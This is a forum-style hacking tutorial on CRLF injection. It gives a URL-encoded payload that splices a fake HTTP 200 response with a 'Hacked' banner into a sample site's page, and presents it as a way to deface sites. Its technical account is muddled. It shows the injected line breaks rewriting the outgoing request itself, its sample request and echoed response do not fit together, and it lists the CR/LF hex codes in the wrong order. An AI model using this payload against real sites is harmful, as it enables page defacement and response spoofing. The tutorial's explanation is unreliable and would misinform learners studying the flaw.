[Boomslang]

Hello [username],
I'm going the introduce you the CRLF vulnerability and explain its exploitation technique in this tutorial.
Lets start!

What Does CRLF Mean?
It's shortened of "Carriage Return and Line Feed". These are the names of the characters we're going to inject.

Code:

Carriage Return -> \r Line Feed (New Line) -> \n

Looks familiar right?
When we push the Enter/Return button on our keyboard everytime, these characters been sending to proccessor for passing to a new line.
Extra Information: Equalivent of these characters in hexadecimal are 0A and 0D.


Exploitation
Now lets see an HTTP request.

Code:

GET http://www.tiggerwigger.com/index.php?param=val HTTP/1.0 User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0 Host: www.tiggerwigger.com

This is a simple HTTP request with using GET method. We have a parameter that we can manipulate.

Code:

http://www.tiggerwigger.com/index.php?param=val

So if life gives us lemons, we'll make a lemonade

Lets manipulate that piece of shit

We'll inject a web response using CRLF characters, so the server will echo back our response. Then our webbrowser will act it as an actual response and show our index. Confused? Let me give an example for you.

Let's add our exploit to URL and see what happens.

Code:

http://www.tiggerwigger.com/index.php?param=val%0D%0AContent-Type:%20text/html%0D%0AHTTP/1.1%20200%20OK%0D%0AContent-Type:%20text/html%0D%0A%0D%0A<center><h1>Hacked</h1></center>%20HTTP/1.1

Now our request will be like this;

Code:

GET http://www.tiggerwigger.com/index.php?param=val Content-Type: text/html HTTP/1.1 200 OK Content-Type: text/html <center><h1>Hacked</h1></center> HTTP/1.1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0 Host: www.tiggerwigger.com

And the server echoes it back to us..

Code:

HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Date: Wed, 01 Jun 2011 14:59:30 GMT Allow: GET Connection: close HTTP/1.1 200 OK Content-Type: text/html <center><h1>Hacked</h1></center> HTTP/1.1

Our browser treated our injected response like an actual response and BAM! Our index appeared in the page.

I may have made mistakes feel free to correct them
I hope you'll like this tutorial.

Au Revoir..